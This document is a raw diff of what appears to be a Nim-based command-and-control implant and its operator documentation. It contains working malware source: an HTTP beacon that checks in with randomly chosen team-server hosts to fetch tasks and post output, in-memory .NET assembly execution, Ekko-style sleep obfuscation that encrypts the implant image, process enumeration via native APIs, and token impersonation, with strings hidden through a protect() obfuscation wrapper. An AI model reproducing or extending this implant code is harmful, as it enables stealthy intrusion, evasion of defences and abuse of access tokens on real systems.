Upload a file from the operator Desktop to the targe system.
|
||||||
```
|
```
|
||||||
Usage : upload <file> [destination]
|
Usage : upload <file>
|
||||||
Example : upload /path/to/payload.exe
|
Example : upload /path/to/payload.exe
|
||||||
|
|
||||||
Arguments:
|
Arguments:
|
||||||
Name Type Required Description
|
Name Type Required Description
|
||||||
--------------- ------ -------- --------------------
|
--------------- ------ -------- --------------------
|
||||||
* file BINARY YES Path to file to upload to the target machine.
|
* file BINARY YES Path to file to upload to the target machine.
|
||||||
* destination STRING NO Path to upload the file to. By default, uploads to current directory.
|
|
||||||
```
|
```
|
||||||
|
|
||||||
## SCREENSHOT
|
## SCREENSHOT
|
||||||
@@ -334,8 +333,6 @@ Usage : ps
|
|||||||
Example : ps
|
Example : ps
|
||||||
```
|
```
|
||||||
|
|
||||||

|
|
||||||
|
|
||||||
### env
|
### env
|
||||||
Display environment variables.
|
Display environment variables.
|
||||||
```
|
```
|
||||||
|
|||||||
Binary file not shown.
@@ -1,4 +1,5 @@
|
|||||||
import winim/[lean, clr]
|
import winim/[lean, clr]
|
||||||
|
import os
|
||||||
import ../utils/[hwbp, io]
|
import ../utils/[hwbp, io]
|
||||||
import ../../common/utils
|
import ../../common/utils
|
||||||
|
|
||||||
@@ -59,7 +60,7 @@ proc dotnetInlineExecuteGetOutput*(assemblyBytes: seq[byte], arguments: seq[stri
|
|||||||
# Create AppDomain
|
# Create AppDomain
|
||||||
let appDomainType = mscorlib.GetType(protect("System.AppDomain"))
|
let appDomainType = mscorlib.GetType(protect("System.AppDomain"))
|
||||||
let domainSetup = mscorlib.new(protect("System.AppDomainSetup"))
|
let domainSetup = mscorlib.new(protect("System.AppDomainSetup"))
|
||||||
domainSetup.ApplicationBase = protect("C:/Windows/System32")
|
domainSetup.ApplicationBase = getCurrentDir()
|
||||||
domainSetup.DisallowBindingRedirects = false
|
domainSetup.DisallowBindingRedirects = false
|
||||||
domainSetup.DisallowCodeDownload = true
|
domainSetup.DisallowCodeDownload = true
|
||||||
domainSetup.ShadowCopyFiles = protect("false")
|
domainSetup.ShadowCopyFiles = protect("false")
|
||||||
|
|||||||
@@ -1,5 +1,6 @@
|
|||||||
|
import parsetoml, system
|
||||||
import ../utils/io
|
import ../utils/io
|
||||||
import ../../common/[types, utils, crypto, profile, serialize]
|
import ../../common/[types, utils, crypto, serialize]
|
||||||
|
|
||||||
const CONFIGURATION {.strdefine.}: string = ""
|
const CONFIGURATION {.strdefine.}: string = ""
|
||||||
|
|
||||||
|
|||||||
@@ -1,46 +1,57 @@
|
|||||||
import httpclient, strformat, strutils, asyncdispatch, base64, tables, random
|
import httpclient, strformat, strutils, asyncdispatch, base64, tables, parsetoml, random
|
||||||
import ../utils/io
|
import ../utils/io
|
||||||
import ../../common/[types, utils, profile]
|
import ../../common/[types, utils, profile]
|
||||||
|
|
||||||
proc httpGet*(ctx: AgentCtx, heartbeat: seq[byte]): string =
|
proc httpGet*(ctx: AgentCtx, heartbeat: seq[byte]): string =
|
||||||
|
|
||||||
let client = newAsyncHttpClient(userAgent = ctx.profile.getString(protect("http-get.user-agent")))
|
let client = newAsyncHttpClient(userAgent = ctx.profile.getString(protect("http-get.user-agent")))
|
||||||
|
var heartbeatString: string
|
||||||
|
|
||||||
# Apply data transformation
|
# Apply data transformation to the heartbeat bytes
|
||||||
let payload = ctx.profile.applyDataTransformation(protect("http-get.agent.heartbeat"), heartbeat)
|
case ctx.profile.getString(protect("http-get.agent.heartbeat.encoding.type"), default = protect("none"))
|
||||||
var body: string = ""
|
of protect("base64"):
|
||||||
|
heartbeatString = encode(heartbeat, safe = ctx.profile.getBool(protect("http-get.agent.heartbeat.encoding.url-safe"))).replace("=", "")
|
||||||
|
of protect("none"):
|
||||||
|
heartbeatString = Bytes.toString(heartbeat)
|
||||||
|
|
||||||
# Define request headers, as defined in profile
|
# Define request headers, as defined in profile
|
||||||
for header in ctx.profile.getTableKeys(protect("http-get.agent.headers")):
|
for header, value in ctx.profile.getTable(protect("http-get.agent.headers")):
|
||||||
client.headers.add(header.key, header.value.getStringValue())
|
client.headers.add(header, value.getStringValue())
|
||||||
|
|
||||||
# Select a random endpoint to make the request to
|
# Select a random endpoint to make the request to
|
||||||
var endpoint = ctx.profile.getString(protect("http-get.endpoints"))
|
var endpoint = ctx.profile.getString(protect("http-get.endpoints"))
|
||||||
if endpoint[0] == '/':
|
if endpoint[0] == '/':
|
||||||
endpoint = endpoint[1..^1] & "?" # Add '?' for additional GET parameters
|
endpoint = endpoint[1..^1] & "?" # Add '?' for additional GET parameters
|
||||||
|
|
||||||
|
let
|
||||||
|
prefix = ctx.profile.getString(protect("http-get.agent.heartbeat.prefix"))
|
||||||
|
suffix = ctx.profile.getString(protect("http-get.agent.heartbeat.suffix"))
|
||||||
|
payload = prefix & heartbeatString & suffix
|
||||||
|
|
||||||
# Add heartbeat packet to the request
|
# Add heartbeat packet to the request
|
||||||
case ctx.profile.getString(protect("http-get.agent.heartbeat.placement.type")):
|
case ctx.profile.getString(protect("http-get.agent.heartbeat.placement.type")):
|
||||||
of protect("header"):
|
of protect("header"):
|
||||||
client.headers.add(ctx.profile.getString(protect("http-get.agent.heartbeat.placement.name")), payload)
|
client.headers.add(ctx.profile.getString(protect("http-get.agent.heartbeat.placement.name")), payload)
|
||||||
of protect("query"):
|
of protect("parameter"):
|
||||||
let param = ctx.profile.getString(protect("http-get.agent.heartbeat.placement.name"))
|
let param = ctx.profile.getString(protect("http-get.agent.heartbeat.placement.name"))
|
||||||
endpoint &= fmt"{param}={payload}&"
|
endpoint &= fmt"{param}={payload}&"
|
||||||
|
of protect("uri"):
|
||||||
|
discard
|
||||||
of protect("body"):
|
of protect("body"):
|
||||||
body = payload
|
discard
|
||||||
else:
|
else:
|
||||||
discard
|
discard
|
||||||
|
|
||||||
# Define additional request parameters
|
# Define additional request parameters
|
||||||
for param in ctx.profile.getTableKeys(protect("http-get.agent.parameters")):
|
for param, value in ctx.profile.getTable(protect("http-get.agent.parameters")):
|
||||||
endpoint &= fmt"{param.key}={param.value.getStringValue()}&"
|
endpoint &= fmt"{param}={value.getStringValue()}&"
|
||||||
|
|
||||||
try:
|
try:
|
||||||
# Retrieve binary task data from listener and convert it to seq[bytes] for deserialization
|
# Retrieve binary task data from listener and convert it to seq[bytes] for deserialization
|
||||||
# Select random callback host
|
# Select random callback host
|
||||||
let hosts = ctx.hosts.split(";")
|
let hosts = ctx.hosts.split(";")
|
||||||
let host = hosts[rand(hosts.len() - 1)]
|
let host = hosts[rand(hosts.len() - 1)]
|
||||||
let response = waitFor client.request(fmt"http://{host}/{endpoint[0..^2]}", HttpGet, body)
|
let response = waitFor client.get(fmt"http://{host}/{endpoint[0..^2]}")
|
||||||
|
|
||||||
# Check the HTTP status code to determine whether the agent needs to re-register to the team server
|
# Check the HTTP status code to determine whether the agent needs to re-register to the team server
|
||||||
if response.code == Http404:
|
if response.code == Http404:
|
||||||
@@ -51,8 +62,17 @@ proc httpGet*(ctx: AgentCtx, heartbeat: seq[byte]): string =
|
|||||||
if responseBody.len() <= 0:
|
if responseBody.len() <= 0:
|
||||||
return ""
|
return ""
|
||||||
|
|
||||||
# Reverse data transformation
|
# In case that tasks are found, apply data transformation to server's response body to get thr raw data
|
||||||
return Bytes.toString(ctx.profile.reverseDataTransformation(protect("http-get.server.output"), responseBody))
|
let
|
||||||
|
prefix = ctx.profile.getString(protect("http-get.server.output.prefix"))
|
||||||
|
suffix = ctx.profile.getString(protect("http-get.server.output.suffix"))
|
||||||
|
encResponse = responseBody[len(prefix) ..^ len(suffix) + 1]
|
||||||
|
|
||||||
|
case ctx.profile.getString(protect("http-get.server.output.encoding.type"), default = protect("none")):
|
||||||
|
of protect("base64"):
|
||||||
|
return decode(encResponse)
|
||||||
|
of protect("none"):
|
||||||
|
return encResponse
|
||||||
|
|
||||||
except CatchableError as err:
|
except CatchableError as err:
|
||||||
# When the listener is not reachable, don't kill the application, but check in at the next time
|
# When the listener is not reachable, don't kill the application, but check in at the next time
|
||||||
@@ -68,42 +88,24 @@ proc httpPost*(ctx: AgentCtx, data: seq[byte]): bool {.discardable.} =
|
|||||||
let client = newAsyncHttpClient(userAgent = ctx.profile.getString(protect("http-post.user-agent")))
|
let client = newAsyncHttpClient(userAgent = ctx.profile.getString(protect("http-post.user-agent")))
|
||||||
|
|
||||||
# Define request headers, as defined in profile
|
# Define request headers, as defined in profile
|
||||||
for header in ctx.profile.getTableKeys(protect("http-post.agent.headers")):
|
for header, value in ctx.profile.getTable(protect("http-post.agent.headers")):
|
||||||
client.headers.add(header.key, header.value.getStringValue())
|
client.headers.add(header, value.getStringValue())
|
||||||
|
|
||||||
# Select a random endpoint to make the request to
|
# Select a random endpoint to make the request to
|
||||||
var endpoint = ctx.profile.getString(protect("http-post.endpoints"))
|
var endpoint = ctx.profile.getString(protect("http-post.endpoints"))
|
||||||
if endpoint[0] == '/':
|
if endpoint[0] == '/':
|
||||||
endpoint = endpoint[1..^1] & "?" # Add '?' for additional GET parameters
|
endpoint = endpoint[1..^1]
|
||||||
|
|
||||||
let requestMethod = parseEnum[HttpMethod](ctx.profile.getString(protect("http-post.request-methods"), protect("POST")))
|
let requestMethod = parseEnum[HttpMethod](ctx.profile.getString(protect("http-post.request-methods"), protect("POST")))
|
||||||
|
|
||||||
# Apply data transformation
|
let body = Bytes.toString(data)
|
||||||
let payload = ctx.profile.applyDataTransformation(protect("http-post.agent.output"), data)
|
|
||||||
var body: string = ""
|
|
||||||
|
|
||||||
# Add task result to the request
|
|
||||||
case ctx.profile.getString(protect("http-post.agent.output.placement.type")):
|
|
||||||
of protect("header"):
|
|
||||||
client.headers.add(ctx.profile.getString(protect("http-post.agent.output.placement.name")), payload)
|
|
||||||
of protect("query"):
|
|
||||||
let param = ctx.profile.getString(protect("http-post.agent.output.placement.name"))
|
|
||||||
endpoint &= fmt"{param}={payload}&"
|
|
||||||
of protect("body"):
|
|
||||||
body = payload # Set the request body to the "prefix & task output & suffix" construct
|
|
||||||
else:
|
|
||||||
discard
|
|
||||||
|
|
||||||
# Define additional request parameters
|
|
||||||
for param in ctx.profile.getTableKeys(protect("http-post.agent.parameters")):
|
|
||||||
endpoint &= fmt"{param.key}={param.value.getStringValue()}&"
|
|
||||||
|
|
||||||
try:
|
try:
|
||||||
# Send post request to team server
|
# Send post request to team server
|
||||||
# Select random callback host
|
# Select random callback host
|
||||||
let hosts = ctx.hosts.split(";")
|
let hosts = ctx.hosts.split(";")
|
||||||
let host = hosts[rand(hosts.len() - 1)]
|
let host = hosts[rand(hosts.len() - 1)]
|
||||||
discard waitFor client.request(fmt"http://{host}/{endpoint[0..^2]}", requestMethod, body)
|
discard waitFor client.request(fmt"http://{host}/{endpoint}", requestMethod, body)
|
||||||
|
|
||||||
except CatchableError as err:
|
except CatchableError as err:
|
||||||
print "[-] ", err.msg
|
print "[-] ", err.msg
|
||||||
|
|||||||
@@ -1,102 +0,0 @@
|
|||||||
import winim/lean
|
|
||||||
import tables
|
|
||||||
import ../utils/io
|
|
||||||
import ../../common/utils
|
|
||||||
import token
|
|
||||||
|
|
||||||
type
|
|
||||||
ProcessInfo* = object
|
|
||||||
pid*: DWORD
|
|
||||||
ppid*: DWORD
|
|
||||||
name*: string
|
|
||||||
user*: string
|
|
||||||
session*: ULONG
|
|
||||||
children*: seq[DWORD]
|
|
||||||
|
|
||||||
NtQuerySystemInformation = proc(systemInformationClass: SYSTEM_INFORMATION_CLASS, systemInformation: PVOID, systemInformationLength: ULONG, returnLength: PULONG): NTSTATUS {.stdcall.}
|
|
||||||
NtOpenProcess = proc(hProcess: PHANDLE, desiredAccess: ACCESS_MASK, oa: PCOBJECT_ATTRIBUTES, clientId: PCLIENT_ID): NTSTATUS {.stdcall.}
|
|
||||||
NtOpenProcessToken = proc(processHandle: HANDLE, desiredAccess: ACCESS_MASK, tokenHandle: PHANDLE): NTSTATUS {.stdcall.}
|
|
||||||
NtClose = proc(handle: HANDLE): NTSTATUS {.stdcall.}
|
|
||||||
|
|
||||||
proc cmp*(x, y: ProcessInfo): int =
|
|
||||||
return cmp(x.pid, y.pid)
|
|
||||||
|
|
||||||
#[
|
|
||||||
Retrieve snapshot of all currently running processes using NtQuerySystemInformation
|
|
||||||
]#
|
|
||||||
proc processSnapshot*(): PSYSTEM_PROCESS_INFORMATION =
|
|
||||||
var
|
|
||||||
pSystemProcInfo: PSYSTEM_PROCESS_INFORMATION
|
|
||||||
status: NTSTATUS = 0
|
|
||||||
returnLength: ULONG = 0
|
|
||||||
|
|
||||||
let pNtQuerySystemInformation = cast[NtQuerySystemInformation](GetProcAddress(GetModuleHandleA(protect("ntdll")), protect("NtQuerySystemInformation")))
|
|
||||||
|
|
||||||
# Retrieve returnLength and allocate sufficient memory
|
|
||||||
discard pNtQuerySystemInformation(systemProcessInformation, NULL, 0, addr returnLength)
|
|
||||||
pSystemProcInfo = cast[PSYSTEM_PROCESS_INFORMATION](LocalAlloc(LMEM_FIXED, returnLength))
|
|
||||||
if pSystemProcInfo == NULL:
|
|
||||||
raise newException(CatchableError, "1.2" & GetLastError().getError())
|
|
||||||
|
|
||||||
# Retrieve system process information
|
|
||||||
status = pNtQuerySystemInformation(systemProcessInformation, cast[PVOID](pSystemProcInfo), returnLength, addr returnLength)
|
|
||||||
if status != STATUS_SUCCESS:
|
|
||||||
raise newException(CatchableError, "b" & status.getNtError())
|
|
||||||
|
|
||||||
return pSystemProcInfo
|
|
||||||
|
|
||||||
#[
|
|
||||||
Retrieve information about running processes
|
|
||||||
]#
|
|
||||||
proc processList*(): Table[DWORD, ProcessInfo] =
|
|
||||||
result = initTable[DWORD, ProcessInfo]()
|
|
||||||
|
|
||||||
# Take a snapshot of running processes
|
|
||||||
var sysProcessInfo = processSnapshot()
|
|
||||||
defer: LocalFree(cast[HLOCAL](sysProcessInfo))
|
|
||||||
|
|
||||||
let pNtOpenProcess = cast[NtOpenProcess](GetProcAddress(GetModuleHandleA(protect("ntdll")), protect("NtOpenProcess")))
|
|
||||||
let pNtOpenProcessToken = cast[NtOpenProcessToken](GetProcAddress(GetModuleHandleA(protect("ntdll")), protect("NtOpenProcessToken")))
|
|
||||||
let pNtClose = cast[NtClose](GetProcAddress(GetModuleHandleA(protect("ntdll")), protect("NtClose")))
|
|
||||||
|
|
||||||
while true:
|
|
||||||
var
|
|
||||||
status: NTSTATUS
|
|
||||||
hToken: HANDLE = 0
|
|
||||||
hProcess: HANDLE = 0
|
|
||||||
oa: OBJECT_ATTRIBUTES
|
|
||||||
clientId: CLIENT_ID
|
|
||||||
|
|
||||||
var
|
|
||||||
pid = cast[DWORD](sysProcessInfo.UniqueProcessId)
|
|
||||||
ppid = cast[DWORD](sysProcessInfo.InheritedFromUniqueProcessId)
|
|
||||||
|
|
||||||
# Retrieve process information
|
|
||||||
result[pid] = ProcessInfo(
|
|
||||||
pid: pid,
|
|
||||||
ppid: ppid,
|
|
||||||
name: $sysProcessInfo.ImageName.Buffer,
|
|
||||||
session: sysProcessInfo.SessionId,
|
|
||||||
children: @[]
|
|
||||||
)
|
|
||||||
|
|
||||||
# Retrieve user context
|
|
||||||
InitializeObjectAttributes(addr oa, NULL, 0, 0, NULL)
|
|
||||||
clientId.UniqueProcess = cast[HANDLE](pid)
|
|
||||||
clientId.UniqueThread = 0
|
|
||||||
|
|
||||||
status = pNtOpenProcess(addr hProcess, PROCESS_QUERY_INFORMATION, addr oa, addr clientId)
|
|
||||||
if status == STATUS_SUCCESS and hProcess != 0:
|
|
||||||
status = pNtOpenProcessToken(hProcess, TOKEN_QUERY, addr hToken)
|
|
||||||
if status == STATUS_SUCCESS and hToken != 0:
|
|
||||||
result[pid].user = hToken.getTokenUser().username
|
|
||||||
discard pNtClose(hToken)
|
|
||||||
else:
|
|
||||||
result[pid].user = ""
|
|
||||||
discard pNtClose(hProcess)
|
|
||||||
|
|
||||||
# Move to next process
|
|
||||||
if sysProcessInfo.NextEntryOffset == 0:
|
|
||||||
break
|
|
||||||
|
|
||||||
sysProcessInfo = cast[PSYSTEM_PROCESS_INFORMATION](cast[ULONG_PTR](sysProcessInfo) + sysProcessInfo.NextEntryOffset)
|
|
||||||
@@ -37,7 +37,7 @@ type
|
|||||||
RtlDeleteTimerQueue = proc(hQueue: HANDLE): NTSTATUS {.stdcall.}
|
RtlDeleteTimerQueue = proc(hQueue: HANDLE): NTSTATUS {.stdcall.}
|
||||||
NtCreateEvent = proc(phEvent: PHANDLE, desiredAccess: ACCESS_MASK, objectAttributes: POBJECT_ATTRIBUTES, eventType: EVENT_TYPE, initialState: BOOLEAN): NTSTATUS {.stdcall.}
|
NtCreateEvent = proc(phEvent: PHANDLE, desiredAccess: ACCESS_MASK, objectAttributes: POBJECT_ATTRIBUTES, eventType: EVENT_TYPE, initialState: BOOLEAN): NTSTATUS {.stdcall.}
|
||||||
RtlCreateTimer = proc(queue: HANDLE, hTimer: PHANDLE, function: FARPROC, context: PVOID, dueTime: ULONG, period: ULONG, flags: ULONG): NTSTATUS {.stdcall.}
|
RtlCreateTimer = proc(queue: HANDLE, hTimer: PHANDLE, function: FARPROC, context: PVOID, dueTime: ULONG, period: ULONG, flags: ULONG): NTSTATUS {.stdcall.}
|
||||||
RtlRegisterWait = proc( hWait: PHANDLE, handle: HANDLE, function: PVOID, ctx: PVOID, ms: ULONG, flags: ULONG): NTSTATUS {.stdcall.}
|
RtlRegisterWait = proc( hWait: PHANDLE, handle: HANDLE, function: PWAIT_CALLBACK_ROUTINE, ctx: PVOID, ms: ULONG, flags: ULONG): NTSTATUS {.stdcall.}
|
||||||
NtSignalAndWaitForSingleObject = proc(hSignal: HANDLE, hWait: HANDLE, alertable: BOOLEAN, timeout: PLARGE_INTEGER): NTSTATUS {.stdcall.}
|
NtSignalAndWaitForSingleObject = proc(hSignal: HANDLE, hWait: HANDLE, alertable: BOOLEAN, timeout: PLARGE_INTEGER): NTSTATUS {.stdcall.}
|
||||||
NtSetEvent = proc(hEvent: HANDLE, previousState: PLONG): NTSTATUS {.stdcall.}
|
NtSetEvent = proc(hEvent: HANDLE, previousState: PLONG): NTSTATUS {.stdcall.}
|
||||||
NtDuplicateObject = proc(hSourceProcess: HANDLE, hSource: HANDLE, hTargetProcess: HANDLE, hTarget: PHANDLE, desiredAccess: ACCESS_MASK, attributes: ULONG, options: ULONG ): NTSTATUS {.stdcall.}
|
NtDuplicateObject = proc(hSourceProcess: HANDLE, hSource: HANDLE, hTargetProcess: HANDLE, hTarget: PHANDLE, desiredAccess: ACCESS_MASK, attributes: ULONG, options: ULONG ): NTSTATUS {.stdcall.}
|
||||||
@@ -168,13 +168,13 @@ proc sleepEkko(apis: Apis, key, img: USTRING, sleepDelay: int, spoofStack: var b
|
|||||||
|
|
||||||
# Retrieve the initial thread context
|
# Retrieve the initial thread context
|
||||||
delay += 100
|
delay += 100
|
||||||
status = apis.RtlCreateTimer(queue, addr timer, cast[PVOID](RtlCaptureContext), addr ctxInit, delay, 0, WT_EXECUTEINTIMERTHREAD)
|
status = apis.RtlCreateTimer(queue, addr timer, RtlCaptureContext, addr ctxInit, delay, 0, WT_EXECUTEINTIMERTHREAD)
|
||||||
if status != STATUS_SUCCESS:
|
if status != STATUS_SUCCESS:
|
||||||
raise newException(CatchableError, status.getNtError())
|
raise newException(CatchableError, status.getNtError())
|
||||||
|
|
||||||
# Wait until RtlCaptureContext is successfully completed to prevent a race condition from forming
|
# Wait until RtlCaptureContext is successfully completed to prevent a race condition from forming
|
||||||
delay += 100
|
delay += 100
|
||||||
status = apis.RtlCreateTimer(queue, addr timer, cast[PVOID](SetEvent), cast[PVOID](hEventTimer), delay, 0, WT_EXECUTEINTIMERTHREAD)
|
status = apis.RtlCreateTimer(queue, addr timer, SetEvent, cast[PVOID](hEventTimer), delay, 0, WT_EXECUTEINTIMERTHREAD)
|
||||||
if status != STATUS_SUCCESS:
|
if status != STATUS_SUCCESS:
|
||||||
raise newException(CatchableError, status.getNtError())
|
raise newException(CatchableError, status.getNtError())
|
||||||
|
|
||||||
@@ -643,7 +643,7 @@ proc sleepObfuscate*(sleepSettings: SleepSettings) =
|
|||||||
img.Length = imageSize
|
img.Length = imageSize
|
||||||
|
|
||||||
# Generate random encryption key
|
# Generate random encryption key
|
||||||
var keyBuffer: string = Bytes.toString(generateBytes(KeyRC4))
|
var keyBuffer: string = Bytes.toString(generateBytes(Key16))
|
||||||
key.Buffer = addr keyBuffer
|
key.Buffer = addr keyBuffer
|
||||||
key.Length = cast[DWORD](keyBuffer.len())
|
key.Length = cast[DWORD](keyBuffer.len())
|
||||||
|
|
||||||
|
|||||||
@@ -1,7 +1,7 @@
|
|||||||
import winim/lean
|
import winim/lean
|
||||||
import strformat
|
import strformat
|
||||||
import ../utils/io
|
import ../utils/io
|
||||||
import ../../common/utils
|
import ../../common/[types, utils]
|
||||||
|
|
||||||
#[
|
#[
|
||||||
Token impersonation & manipulation
|
Token impersonation & manipulation
|
||||||
@@ -61,7 +61,7 @@ proc getCurrentToken*(desiredAccess: ACCESS_MASK = TOKEN_QUERY): HANDLE =
|
|||||||
status: NTSTATUS = 0
|
status: NTSTATUS = 0
|
||||||
hToken: HANDLE
|
hToken: HANDLE
|
||||||
|
|
||||||
# https://ntdoc.m417z.com/ntopenthreadtoken, token-info fails with error ACCESS_DENIED if OpenAsSelf is set to FALSE
|
# https://ntdoc.m417z.com/ntopenthreadtoken, token-info fails with error ACCESS_DENIED if OpenAsSelf is set to
|
||||||
status = apis.NtOpenThreadToken(CURRENT_THREAD, desiredAccess, TRUE, addr hToken)
|
status = apis.NtOpenThreadToken(CURRENT_THREAD, desiredAccess, TRUE, addr hToken)
|
||||||
if status != STATUS_SUCCESS:
|
if status != STATUS_SUCCESS:
|
||||||
status = apis.NtOpenProcessToken(CURRENT_PROCESS, desiredAccess, addr hToken)
|
status = apis.NtOpenProcessToken(CURRENT_PROCESS, desiredAccess, addr hToken)
|
||||||
@@ -70,12 +70,12 @@ proc getCurrentToken*(desiredAccess: ACCESS_MASK = TOKEN_QUERY): HANDLE =
|
|||||||
|
|
||||||
return hToken
|
return hToken
|
||||||
|
|
||||||
proc sidToString(sid: PSID, apis: Apis = initApis()): string =
|
proc sidToString(apis: Apis, sid: PSID): string =
|
||||||
var stringSid: LPSTR
|
var stringSid: LPSTR
|
||||||
discard apis.ConvertSidToStringSidA(sid, addr stringSid)
|
discard apis.ConvertSidToStringSidA(sid, addr stringSid)
|
||||||
return $stringSid
|
return $stringSid
|
||||||
|
|
||||||
proc sidToName(sid: PSID): string =
|
proc sidToName(apis: Apis, sid: PSID): string =
|
||||||
var
|
var
|
||||||
usernameSize: DWORD = 0
|
usernameSize: DWORD = 0
|
||||||
domainSize: DWORD = 0
|
domainSize: DWORD = 0
|
||||||
@@ -90,7 +90,7 @@ proc sidToName(sid: PSID): string =
|
|||||||
return $domain[0 ..< int(domainSize)] & "\\" & $username[0 ..< int(usernameSize)]
|
return $domain[0 ..< int(domainSize)] & "\\" & $username[0 ..< int(usernameSize)]
|
||||||
return ""
|
return ""
|
||||||
|
|
||||||
proc privilegeToString(luid: PLUID): string =
|
proc privilegeToString(apis: Apis, luid: PLUID): string =
|
||||||
var privSize: DWORD = 0
|
var privSize: DWORD = 0
|
||||||
|
|
||||||
# Retrieve required size
|
# Retrieve required size
|
||||||
@@ -104,7 +104,7 @@ proc privilegeToString(luid: PLUID): string =
|
|||||||
#[
|
#[
|
||||||
Retrieve and return information about an access token
|
Retrieve and return information about an access token
|
||||||
]#
|
]#
|
||||||
proc getTokenStatistics(hToken: HANDLE, apis: Apis = initApis()): tuple[tokenId, tokenType: string] =
|
proc getTokenStatistics(apis: Apis, hToken: HANDLE): tuple[tokenId, tokenType: string] =
|
||||||
var
|
var
|
||||||
status: NTSTATUS = 0
|
status: NTSTATUS = 0
|
||||||
returnLength: ULONG = 0
|
returnLength: ULONG = 0
|
||||||
@@ -120,7 +120,7 @@ proc getTokenStatistics(hToken: HANDLE, apis: Apis = initApis()): tuple[tokenId,
|
|||||||
|
|
||||||
return (tokenId, tokenType)
|
return (tokenId, tokenType)
|
||||||
|
|
||||||
proc getTokenUser*(hToken: HANDLE, apis: Apis = initApis()): tuple[username, sid: string] =
|
proc getTokenUser(apis: Apis, hToken: HANDLE): tuple[username, sid: string] =
|
||||||
var
|
var
|
||||||
status: NTSTATUS = 0
|
status: NTSTATUS = 0
|
||||||
returnLength: ULONG = 0
|
returnLength: ULONG = 0
|
||||||
@@ -139,9 +139,9 @@ proc getTokenUser*(hToken: HANDLE, apis: Apis = initApis()): tuple[username, sid
|
|||||||
if status != STATUS_SUCCESS:
|
if status != STATUS_SUCCESS:
|
||||||
raise newException(CatchableError, status.getNtError())
|
raise newException(CatchableError, status.getNtError())
|
||||||
|
|
||||||
return (sidToName(pUser.User.Sid), sidToString(pUser.User.Sid, apis))
|
return (apis.sidToName(pUser.User.Sid), apis.sidToString(pUser.User.Sid))
|
||||||
|
|
||||||
proc getTokenElevation(hToken: HANDLE, apis: Apis = initApis()): bool =
|
proc getTokenElevation(apis: Apis, hToken: HANDLE): bool =
|
||||||
var
|
var
|
||||||
status: NTSTATUS = 0
|
status: NTSTATUS = 0
|
||||||
returnLength: ULONG = 0
|
returnLength: ULONG = 0
|
||||||
@@ -153,7 +153,7 @@ proc getTokenElevation(hToken: HANDLE, apis: Apis = initApis()): bool =
|
|||||||
|
|
||||||
return cast[bool](pElevation.TokenIsElevated)
|
return cast[bool](pElevation.TokenIsElevated)
|
||||||
|
|
||||||
proc getTokenGroups(hToken: HANDLE, apis: Apis = initApis()): string =
|
proc getTokenGroups(apis: Apis, hToken: HANDLE): string =
|
||||||
var
|
var
|
||||||
status: NTSTATUS = 0
|
status: NTSTATUS = 0
|
||||||
returnLength: ULONG = 0
|
returnLength: ULONG = 0
|
||||||
@@ -176,11 +176,11 @@ proc getTokenGroups(hToken: HANDLE, apis: Apis = initApis()): string =
|
|||||||
groupCount = pGroups.GroupCount
|
groupCount = pGroups.GroupCount
|
||||||
groups = cast[ptr UncheckedArray[SID_AND_ATTRIBUTES]](addr pGroups.Groups[0])
|
groups = cast[ptr UncheckedArray[SID_AND_ATTRIBUTES]](addr pGroups.Groups[0])
|
||||||
|
|
||||||
result &= protect("Group memberships (") & $groupCount & protect(")\n")
|
result &= fmt"Group memberships ({groupCount})" & "\n"
|
||||||
for i, group in groups.toOpenArray(0, int(groupCount) - 1):
|
for i, group in groups.toOpenArray(0, int(groupCount) - 1):
|
||||||
result &= fmt" - {sidToString(group.Sid, apis):<50} {sidToName(group.Sid)}" & "\n"
|
result &= fmt" - {apis.sidToString(group.Sid):<50} {apis.sidToName(group.Sid)}" & "\n"
|
||||||
|
|
||||||
proc getTokenPrivileges(hToken: HANDLE, apis: Apis = initApis()): string =
|
proc getTokenPrivileges(apis: Apis, hToken: HANDLE): string =
|
||||||
var
|
var
|
||||||
status: NTSTATUS = 0
|
status: NTSTATUS = 0
|
||||||
returnLength: ULONG = 0
|
returnLength: ULONG = 0
|
||||||
@@ -203,34 +203,34 @@ proc getTokenPrivileges(hToken: HANDLE, apis: Apis = initApis()): string =
|
|||||||
privCount = pPrivileges.PrivilegeCount
|
privCount = pPrivileges.PrivilegeCount
|
||||||
privs = cast[ptr UncheckedArray[LUID_AND_ATTRIBUTES]](addr pPrivileges.Privileges[0])
|
privs = cast[ptr UncheckedArray[LUID_AND_ATTRIBUTES]](addr pPrivileges.Privileges[0])
|
||||||
|
|
||||||
result &= protect("Privileges (") & $privCount & protect(")\n")
|
result &= fmt"Privileges ({privCount})" & "\n"
|
||||||
for i, priv in privs.toOpenArray(0, int(privCount) - 1):
|
for i, priv in privs.toOpenArray(0, int(privCount) - 1):
|
||||||
let enabled = if priv.Attributes and SE_PRIVILEGE_ENABLED: protect("Enabled") else: protect("Disabled")
|
let enabled = if priv.Attributes and SE_PRIVILEGE_ENABLED: "Enabled" else: "Disabled"
|
||||||
result &= fmt" - {privilegeToString(addr priv.Luid):<50} {enabled}" & "\n"
|
result &= fmt" - {apis.privilegeToString(addr priv.Luid):<50} {enabled}" & "\n"
|
||||||
|
|
||||||
|
|
||||||
proc getTokenInfo*(hToken: HANDLE): string =
|
proc getTokenInfo*(hToken: HANDLE): string =
|
||||||
let apis = initApis()
|
let apis = initApis()
|
||||||
|
|
||||||
let (tokenId, tokenType) = getTokenStatistics(hToken, apis)
|
let (tokenId, tokenType) = apis.getTokenStatistics(hToken)
|
||||||
result &= protect("TokenID: 0x") & tokenId & "\n"
|
result &= fmt"TokenID: 0x{tokenId}" & "\n"
|
||||||
result &= protect("Type: ") & tokenType & "\n"
|
result &= fmt"Type: {tokenType}" & "\n"
|
||||||
|
|
||||||
let (username, sid) = getTokenUser(hToken, apis)
|
let (username, sid) = apis.getTokenUser(hToken)
|
||||||
result &= protect("User: ") & username & "\n"
|
result &= fmt"User: {username}" & "\n"
|
||||||
result &= protect("SID: ") & sid & "\n"
|
result &= fmt"SID: {sid}" & "\n"
|
||||||
|
|
||||||
let isElevated = getTokenElevation(hToken, apis)
|
let isElevated = apis.getTokenElevation(hToken)
|
||||||
result &= protect("Elevated: ") & $isElevated & "\n"
|
result &= fmt"Elevated: {$isElevated}" & "\n"
|
||||||
|
|
||||||
result &= getTokenGroups(hToken, apis)
|
result &= apis.getTokenGroups(hToken )
|
||||||
result &= getTokenPrivileges(hToken, apis)
|
result &= apis.getTokenPrivileges(hToken)
|
||||||
|
|
||||||
#[
|
#[
|
||||||
Impersonate token
|
Impersonate token
|
||||||
- https://github.com/HavocFramework/Havoc/blob/main/payloads/Demon/src/core/Token.c#L1281
|
- https://github.com/HavocFramework/Havoc/blob/main/payloads/Demon/src/core/Token.c#L1281
|
||||||
]#
